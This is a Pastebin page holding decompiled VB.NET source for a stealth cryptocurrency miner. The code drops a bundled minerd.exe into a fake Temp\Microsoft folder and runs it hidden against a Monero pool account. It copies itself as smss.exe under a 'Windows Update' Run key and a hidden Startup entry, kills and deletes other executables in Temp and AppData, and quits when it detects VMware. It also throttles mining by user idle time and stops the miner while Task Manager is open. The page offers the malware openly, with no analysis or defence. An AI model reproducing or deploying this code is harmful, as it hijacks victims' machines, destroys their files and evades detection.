Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System
- Imports System.Collections.Generic
- Imports System.ComponentModel
- Imports System.Diagnostics
- Imports System.Drawing
- Imports System.IO
- Imports System.My
- Imports System.My.Resources
- Imports System.Runtime.CompilerServices
- Imports System.Runtime.InteropServices
- Imports System.Threading
- Imports System.Windows.Forms
- Imports Microsoft.VisualBasic
- Imports Microsoft.VisualBasic.CompilerServices
- Imports Microsoft.Win32
- Namespace System
- <DesignerGenerated()>
- Public Class Form1
- Inherits Form
- ' Token: 0x02000008 RID: 8
- Public Sub New()
- AddHandler MyBase.Load, AddressOf Me.Form1_Load
- Form1.__ENCAddToList(Me)
- Me.url = "stratum+tcp://xmr.pool.minergate.com"
- Me.port = "45560"
- Me.user = "artem4x@web.de"
- Me.pass = "x"
- Me.startup = "True"
- Me.presis = "True"
- Me.anti = "True"
- Me.BotKiller = "True"
- Me.vm = "True"
- Me.MTX = "ke*qd2kyaa@JbFW8R6V@rb8(o"
- Me.Config = String.Concat(New String() { "-a cryptonight -o ", Me.url, ":", Me.port, " -u ", Me.user, " -p ", Me.pass, " -t 1" })
- Me.Config1 = String.Concat(New String() { "-a cryptonight -o ", Me.url, ":", Me.port, " -u ", Me.user, " -p ", Me.pass })
- Me.Temp = MyProject.Computer.FileSystem.SpecialDirectories.Temp
- Me.st = 0
- Me.it = New IdleTime()
- Me.MT = Nothing
- Me.LO = New FileInfo(Application.ExecutablePath)
- Me.InitializeComponent()
- End Sub
- <DebuggerNonUserCode()>
- Private Shared Sub __ENCAddToList(value As Object)
- Dim _ENCList As List(Of WeakReference) = Form1.__ENCList
- ' The following expression was wrapped in a checked-statement
- SyncLock _ENCList
- Dim flag As Boolean = Form1.__ENCList.Count = Form1.__ENCList.Capacity
- If flag Then
- Dim num As Integer = 0
- Dim num2 As Integer = 0
- Dim num3 As Integer = Form1.__ENCList.Count - 1
- Dim num4 As Integer = num2
- While True
- Dim num5 As Integer = num4
- Dim num6 As Integer = num3
- If num5 > num6 Then
- Exit For
- End If
- Dim weakReference As WeakReference = Form1.__ENCList(num4)
- flag = weakReference.IsAlive
- If flag Then
- Dim flag2 As Boolean = num4 <> num
- If flag2 Then
- Form1.__ENCList(num) = Form1.__ENCList(num4)
- End If
- num += 1
- End If
- num4 += 1
- End While
- Form1.__ENCList.RemoveRange(num, Form1.__ENCList.Count - num)
- Form1.__ENCList.Capacity = Form1.__ENCList.Count
- End If
- Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
- End SyncLock
- End Sub
- <DebuggerNonUserCode()>
- Protected Overrides Sub Dispose(disposing As Boolean)
- Try
- Dim flag As Boolean = disposing AndAlso Me.components IsNot Nothing
- If flag Then
- Me.components.Dispose()
- End If
- Finally
- MyBase.Dispose(disposing)
- End Try
- End Sub
- <DebuggerStepThrough()>
- Private Sub InitializeComponent()
- Me.components = New Container()
- Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
- Me.Timer2 = New System.Windows.Forms.Timer(Me.components)
- Me.Timer3 = New System.Windows.Forms.Timer(Me.components)
- Me.Timer4 = New System.Windows.Forms.Timer(Me.components)
- Me.Timer5 = New System.Windows.Forms.Timer(Me.components)
- Me.Timer6 = New System.Windows.Forms.Timer(Me.components)
- Me.Label1 = New Label()
- Me.SuspendLayout()
- Me.Timer2.Interval = 1000
- Me.Timer3.Interval = 1000
- Me.Label1.AutoSize = True
- Dim label As Control = Me.Label1
- Dim location As Point = New Point(0, 0)
- label.Location = location
- Me.Label1.Name = "Label1"
- Dim label2 As Control = Me.Label1
- Dim size As Size = New Size(51, 17)
- label2.Size = size
- Me.Label1.TabIndex = 0
- Me.Label1.Text = "Label1"
- Dim autoScaleDimensions As SizeF = New SizeF(8F, 16F)
- Me.AutoScaleDimensions = autoScaleDimensions
- Me.AutoScaleMode = AutoScaleMode.Font
- size = New Size(282, 253)
- Me.ClientSize = size
- Me.Controls.Add(Me.Label1)
- Me.Name = "Form1"
- Me.Text = "Form1"
- Me.ResumeLayout(False)
- Me.PerformLayout()
- End Sub
- Friend Overridable Property Timer1 As System.Windows.Forms.Timer
- <DebuggerNonUserCode()>
- Get
- Return Me._Timer1
- End Get
- <DebuggerNonUserCode()>
- <MethodImpl(MethodImplOptions.Synchronized)>
- Set(value As System.Windows.Forms.Timer)
- Dim value2 As EventHandler = AddressOf Me.Timer1_Tick
- Dim flag As Boolean = Me._Timer1 IsNot Nothing
- If flag Then
- RemoveHandler Me._Timer1.Tick, value2
- End If
- Me._Timer1 = value
- flag = (Me._Timer1 IsNot Nothing)
- If flag Then
- AddHandler Me._Timer1.Tick, value2
- End If
- End Set
- End Property
- Friend Overridable Property Timer2 As System.Windows.Forms.Timer
- <DebuggerNonUserCode()>
- Get
- Return Me._Timer2
- End Get
- <DebuggerNonUserCode()>
- <MethodImpl(MethodImplOptions.Synchronized)>
- Set(value As System.Windows.Forms.Timer)
- Dim value2 As EventHandler = AddressOf Me.Timer2_Tick
- Dim flag As Boolean = Me._Timer2 IsNot Nothing
- If flag Then
- RemoveHandler Me._Timer2.Tick, value2
- End If
- Me._Timer2 = value
- flag = (Me._Timer2 IsNot Nothing)
- If flag Then
- AddHandler Me._Timer2.Tick, value2
- End If
- End Set
- End Property
- Friend Overridable Property Timer3 As System.Windows.Forms.Timer
- <DebuggerNonUserCode()>
- Get
- Return Me._Timer3
- End Get
- <DebuggerNonUserCode()>
- <MethodImpl(MethodImplOptions.Synchronized)>
- Set(value As System.Windows.Forms.Timer)
- Dim value2 As EventHandler = AddressOf Me.Timer3_Tick
- Dim flag As Boolean = Me._Timer3 IsNot Nothing
- If flag Then
- RemoveHandler Me._Timer3.Tick, value2
- End If
- Me._Timer3 = value
- flag = (Me._Timer3 IsNot Nothing)
- If flag Then
- AddHandler Me._Timer3.Tick, value2
- End If
- End Set
- End Property
- Friend Overridable Property Timer4 As System.Windows.Forms.Timer
- <DebuggerNonUserCode()>
- Get
- Return Me._Timer4
- End Get
- <DebuggerNonUserCode()>
- <MethodImpl(MethodImplOptions.Synchronized)>
- Set(value As System.Windows.Forms.Timer)
- Me._Timer4 = value
- End Set
- End Property
- Friend Overridable Property Timer5 As System.Windows.Forms.Timer
- <DebuggerNonUserCode()>
- Get
- Return Me._Timer5
- End Get
- <DebuggerNonUserCode()>
- <MethodImpl(MethodImplOptions.Synchronized)>
- Set(value As System.Windows.Forms.Timer)
- Dim value2 As EventHandler = AddressOf Me.Timer5_Tick
- Dim flag As Boolean = Me._Timer5 IsNot Nothing
- If flag Then
- RemoveHandler Me._Timer5.Tick, value2
- End If
- Me._Timer5 = value
- flag = (Me._Timer5 IsNot Nothing)
- If flag Then
- AddHandler Me._Timer5.Tick, value2
- End If
- End Set
- End Property
- Friend Overridable Property Timer6 As System.Windows.Forms.Timer
- <DebuggerNonUserCode()>
- Get
- Return Me._Timer6
- End Get
- <DebuggerNonUserCode()>
- <MethodImpl(MethodImplOptions.Synchronized)>
- Set(value As System.Windows.Forms.Timer)
- Dim value2 As EventHandler = AddressOf Me.Timer6_Tick
- Dim flag As Boolean = Me._Timer6 IsNot Nothing
- If flag Then
- RemoveHandler Me._Timer6.Tick, value2
- End If
- Me._Timer6 = value
- flag = (Me._Timer6 IsNot Nothing)
- If flag Then
- AddHandler Me._Timer6.Tick, value2
- End If
- End Set
- End Property
- Friend Overridable Property Label1 As Label
- <DebuggerNonUserCode()>
- Get
- Return Me._Label1
- End Get
- <DebuggerNonUserCode()>
- <MethodImpl(MethodImplOptions.Synchronized)>
- Set(value As Label)
- Me._Label1 = value
- End Set
- End Property
- Private Declare Auto Function SetThreadExecutionState Lib "kernel32.dll" (esFlags As Form1.EXECUTION_STATE) As Form1.EXECUTION_STATE
- Private Declare Auto Function SystemParametersInfo Lib "user32" (uAction As Integer, uParam As Integer, lpvParam As String, fuWinIni As Integer) As Integer
- Public Sub KeepMonitorActive()
- Form1.SetThreadExecutionState(CType(2147483650UI, Form1.EXECUTION_STATE))
- End Sub
- <MethodImpl(MethodImplOptions.NoInlining Or MethodImplOptions.NoOptimization)>
- Private Sub Form1_Load(sender As Object, e As EventArgs)
- Dim flag As Boolean = Operators.CompareString(Me.vm, "True", False) = 0
- Dim flag2 As Boolean
- If flag Then
- flag2 = Me.IsVmWare()
- If Not flag2 Then
- Application.[Exit]()
- End If
- End If
- flag2 = (Operators.CompareString(Me.BotKiller, "True", False) = 0)
- If flag2 Then
- Me.StartBotKiller()
- End If
- Try
- For Each process As Process In Process.GetProcesses()
- Try
- flag2 = Me.CompDir(New FileInfo(process.MainModule.FileName), CType(Me.LO, FileInfo))
- If flag2 Then
- flag = (process.Id > Process.GetCurrentProcess().Id)
- If flag Then
- ProjectData.EndApp()
- End If
- End If
- Catch ex As Exception
- End Try
- Next
- Catch ex2 As Exception
- End Try
- Try
- Mutex.OpenExisting(Me.MTX)
- ProjectData.EndApp()
- Catch ex3 As Exception
- End Try
- Try
- Me.MT = New Mutex(True, Me.MTX)
- Catch ex4 As Exception
- ProjectData.EndApp()
- End Try
- Me.Label1.Text = Conversions.ToString(Me.it.IdleTime)
- Me.Timer1.Interval = 1000
- Me.Timer1.Start()
- Me.Visible = False
- Me.ShowInTaskbar = False
- Me.ShowIcon = False
- flag2 = Directory.Exists(Me.Temp + "\Microsoft")
- If Not flag2 Then
- Directory.CreateDirectory(Me.Temp + "\Microsoft")
- End If
- flag2 = File.Exists(Me.Temp + "\Microsoft\libcurl-4.dll")
- If flag2 Then
- File.Delete(Me.Temp + "\Microsoft\libcurl-4.dll")
- File.WriteAllBytes(Me.Temp + "\Microsoft\libcurl-4.dll", Resources.libcurl_4)
- Else
- File.WriteAllBytes(Me.Temp + "\Microsoft\libcurl-4.dll", Resources.libcurl_4)
- End If
- flag2 = File.Exists(Me.Temp + "\Microsoft\minerd.exe")
- If flag2 Then
- File.Delete(Me.Temp + "\Microsoft\minerd.exe")
- File.WriteAllBytes(Me.Temp + "\Microsoft\minerd.exe", Resources.minerd)
- Else
- File.WriteAllBytes(Me.Temp + "\Microsoft\minerd.exe", Resources.minerd)
- End If
- flag2 = File.Exists(Me.Temp + "\Microsoft\libiconv-2.dll")
- If flag2 Then
- File.Delete(Me.Temp + "\Microsoft\libiconv-2.dll")
- File.WriteAllBytes(Me.Temp + "\Microsoft\libiconv-2.dll", Resources.libiconv_2)
- Else
- File.WriteAllBytes(Me.Temp + "\Microsoft\libiconv-2.dll", Resources.libiconv_2)
- End If
- flag2 = File.Exists(Me.Temp + "\Microsoft\libintl-8.dll")
- If flag2 Then
- File.Delete(Me.Temp + "\Microsoft\libintl-8.dll")
- File.WriteAllBytes(Me.Temp + "\Microsoft\libintl-8.dll", Resources.libintl_8)
- Else
- File.WriteAllBytes(Me.Temp + "\Microsoft\libintl-8.dll", Resources.libintl_8)
- End If
- flag2 = File.Exists(Me.Temp + "\Microsoft\zlib1.dll")
- If flag2 Then
- File.Delete(Me.Temp + "\Microsoft\zlib1.dll")
- File.WriteAllBytes(Me.Temp + "\Microsoft\zlib1.dll", Resources.zlib1)
- Else
- File.WriteAllBytes(Me.Temp + "\Microsoft\zlib1.dll", Resources.zlib1)
- End If
- flag2 = File.Exists(Me.Temp + "\Microsoft\libidn-11.dll")
- If flag2 Then
- File.Delete(Me.Temp + "\Microsoft\ibidn-11.dll")
- File.WriteAllBytes(Me.Temp + "\Microsoft\libidn-11.dll", Resources.libidn_11)
- Else
- File.WriteAllBytes(Me.Temp + "\Microsoft\libidn-11.dll", Resources.libidn_11)
- End If
- flag2 = File.Exists(Me.Temp + "\Microsoft\libwinpthread-1.dll")
- If flag2 Then
- File.Delete(Me.Temp + "\Microsoft\libwinpthread.dll")
- File.WriteAllBytes(Me.Temp + "\Microsoft\libwinpthread-1.dll", Resources.libwinpthread_1)
- Else
- File.WriteAllBytes(Me.Temp + "\Microsoft\libwinpthread-1.dll", Resources.libwinpthread_1)
- End If
- flag2 = (Operators.CompareString(Me.anti, "True", False) = 0)
- If flag2 Then
- Me.KeepMonitorActive()
- End If
- flag2 = (Operators.CompareString(Me.startup, "True", False) = 0)
- If flag2 Then
- flag = File.Exists(Me.Temp + "\smss.exe")
- If flag Then
- Me.AStartup("Windows Update", Me.Temp + "\smss.exe")
- Else
- File.Copy(Application.ExecutablePath, Me.Temp + "\smss.exe")
- Me.AStartup("Windows Update", Me.Temp + "\smss.exe")
- End If
- End If
- flag2 = (Operators.CompareString(Me.presis, "True", False) = 0)
- If flag2 Then
- Me.trd = AddressOf Me.StartWork
- Me.trd.IsBackground = True
- Me.trd.Start()
- End If
- Me.Timer2.Start()
- Me.Timer3.Start()
- End Sub
- Private Declare Ansi Function FindWindow Lib "user32" Alias "FindWindowA" (<MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpClassName As String, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpWindowName As String) As Long
- Private Function IsVmWare() As Boolean
- Dim text As String = "VMDragDetectWndClass"
- Dim text2 As String = Nothing
- Dim num As Long = Form1.FindWindow(text, text2)
- Return num = 0L
- End Function
- Public Sub StartBotKiller()
- Me.BOTKILL(Directory.GetFiles(Path.GetTempPath()))
- Me.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)))
- Me.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).Replace("Roaming", Nothing)))
- End Sub
- Public Sub BOTKILL(EXE As String())
- Try
- Dim processes As Process() = Process.GetProcesses()
- For Each text As String In EXE
- Dim fileInfo As FileInfo = New FileInfo(text)
- Dim flag As Boolean = Operators.CompareString(fileInfo.Extension, ".exe", False) = 0
- If flag Then
- For Each process As Process In processes
- Dim flag2 As Boolean = Operators.CompareString(process.ProcessName, fileInfo.Name.Replace(".exe", Nothing), False) = 0
- If flag2 Then
- process.Kill()
- End If
- Next
- Try
- File.Delete(text)
- Catch ex As Exception
- Thread.Sleep(100)
- File.Delete(text)
- End Try
- End If
- Next
- Catch ex2 As Exception
- End Try
- End Sub
- Private Function CompDir(F1 As FileInfo, F2 As FileInfo) As Boolean
- Dim flag As Boolean = Operators.CompareString(F1.Name.ToLower(), F2.Name.ToLower(), False) <> 0
- Dim result As Boolean
- If flag Then
- result = False
- Else
- Dim directoryInfo As DirectoryInfo = F1.Directory
- Dim directoryInfo2 As DirectoryInfo = F2.Directory
- While True
- flag = (Operators.CompareString(directoryInfo.Name.ToLower(), directoryInfo2.Name.ToLower(), False) <> 0)
- If flag Then
- Exit For
- End If
- directoryInfo = directoryInfo.Parent
- directoryInfo2 = directoryInfo2.Parent
- flag = (directoryInfo Is Nothing And directoryInfo2 Is Nothing)
- If flag Then
- GoTo Block_3
- End If
- flag = (directoryInfo Is Nothing)
- If flag Then
- GoTo Block_4
- End If
- flag = (directoryInfo2 Is Nothing)
- If flag Then
- GoTo Block_5
- End If
- End While
- Return False
- Block_3:
- Return True
- Block_4:
- Return False
- Block_5:
- result = False
- End If
- Return result
- End Function
- Private Sub Timer1_Tick(sender As Object, e As EventArgs)
- Me.Label1.Text = Conversions.ToString(Me.it.IdleTime)
- End Sub
- Public Sub StartWork()
- While True
- Dim flag As Boolean = Me.st <> 0
- If flag Then
- Exit For
- End If
- Thread.Sleep(2000)
- Me.AStartup("Windows Update", Me.Temp + "\smss.exe")
- flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\smss.exe")
- If Not flag Then
- File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\smss.exe")
- File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\smss.exe", FileAttributes.Hidden Or FileAttributes.System)
- End If
- End While
- End Sub
- Public Sub AStartup(Name As String, Path As String)
- Dim num As Integer
- Dim num4 As Integer
- Dim obj As Object
- Try
- IL_01:
- ProjectData.ClearProjectError()
- num = -2
- IL_09:
- Dim num2 As Integer = 2
- Dim currentUser As RegistryKey = Registry.CurrentUser
- IL_12:
- num2 = 3
- Dim registryKey As RegistryKey = currentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
- IL_22:
- num2 = 4
- registryKey.SetValue(Name, Path, RegistryValueKind.[String])
- IL_2F:
- GoTo IL_9E
- IL_34:
- Dim num3 As Integer = num4 + 1
- num4 = 0
- switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3)
- IL_56:
- GoTo IL_93
- IL_58:
- num4 = num2
- switch(ICSharpCode.Decompiler.ILAst.ILLabel[], If((num > -2), num, 1))
- IL_71:
- Catch obj2 When endfilter(TypeOf obj Is Exception And num <> 0 And num4 = 0)
- Dim ex As Exception = CType(obj2, Exception)
- GoTo IL_58
- End Try
- IL_93:
- Throw ProjectData.CreateProjectError(-2146828237)
- IL_9E:
- If num4 <> 0 Then
- ProjectData.ClearProjectError()
- End If
- End Sub
- Private Sub Timer2_Tick(sender As Object, e As EventArgs)
- Dim flag As Boolean = Conversions.ToDouble(Me.Label1.Text) > 60.0
- If flag Then
- Dim processesByName As Process() = Process.GetProcessesByName("minerd")
- For Each process As Process In processesByName
- process.Kill()
- Next
- Interaction.Shell(Me.Temp + "\Microsoft\minerd.exe " + Me.Config1, AppWinStyle.Hide, False, -1)
- Me.Timer2.[Stop]()
- Me.Timer3.Start()
- End If
- End Sub
- Private Sub Timer3_Tick(sender As Object, e As EventArgs)
- Dim flag As Boolean = Conversions.ToDouble(Me.Label1.Text) < 60.0
- If flag Then
- Dim processesByName As Process() = Process.GetProcessesByName("minerd")
- For Each process As Process In processesByName
- process.Kill()
- Next
- Interaction.Shell(Me.Temp + "\Microsoft\minerd.exe " + Me.Config, AppWinStyle.Hide, False, -1)
- Me.Timer2.Start()
- Me.Timer3.[Stop]()
- End If
- End Sub
- Public Function CheckIfRunning() As Boolean
- For Each process As Process In Process.GetProcesses()
- Dim flag As Boolean = process.ProcessName.StartsWith("taskmgr")
- If flag Then
- Dim processesByName As Process() = Process.GetProcessesByName("minerd")
- For Each process2 As Process In processesByName
- process2.Kill()
- Next
- Me.Timer6.Start()
- End If
- Next
- Dim result As Boolean
- Return result
- End Function
- Public Function CheckIfRunning1() As Boolean
- For Each process As Process In Process.GetProcesses()
- Dim flag As Boolean = process.ProcessName.StartsWith("taskmgr")
- If flag Then
- End If
- Next
- Me.Timer2.Start()
- Me.Timer6.[Stop]()
- Dim result As Boolean
- Return result
- End Function
- Private Sub Timer5_Tick(sender As Object, e As EventArgs)
- Me.CheckIfRunning()
- End Sub
- Private Sub Timer6_Tick(sender As Object, e As EventArgs)
- Me.CheckIfRunning1()
- End Sub
- Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)()
- Private components As IContainer
- <AccessedThroughProperty("Timer1")>
- Private _Timer1 As System.Windows.Forms.Timer
- <AccessedThroughProperty("Timer2")>
- Private _Timer2 As System.Windows.Forms.Timer
- <AccessedThroughProperty("Timer3")>
- Private _Timer3 As System.Windows.Forms.Timer
- <AccessedThroughProperty("Timer4")>
- Private _Timer4 As System.Windows.Forms.Timer
- <AccessedThroughProperty("Timer5")>
- Private _Timer5 As System.Windows.Forms.Timer
- <AccessedThroughProperty("Timer6")>
- Private _Timer6 As System.Windows.Forms.Timer
- <AccessedThroughProperty("Label1")>
- Private _Label1 As Label
- Public url As String
- Public port As String
- Public user As String
- Public pass As String
- Public startup As String
- Public presis As String
- Public anti As String
- Public BotKiller As String
- Public vm As String
- Public MTX As String
- Public Config As String
- Public Config1 As String
- Public Temp As String
- Public trd As Thread
- Public st As Integer
- Public it As IdleTime
- Public MT As Mutex
- Public LO As Object
- Private Const SPI_SETSCREENSAVETIMEOUT As Integer = 15
- Private p As Process()
- <Flags()>
- Public Enum EXECUTION_STATE As UInteger
- ' Token: 0x02000009 RID: 9
- ES_AWAYMODE_REQUIRED = 64UI
- ES_CONTINUOUS = 2147483648UI
- ES_DISPLAY_REQUIRED = 2UI
- ES_SYSTEM_REQUIRED = 1UI
- End Enum
- End Class
- End Namespace
Add Comment
Please, Sign In to add comment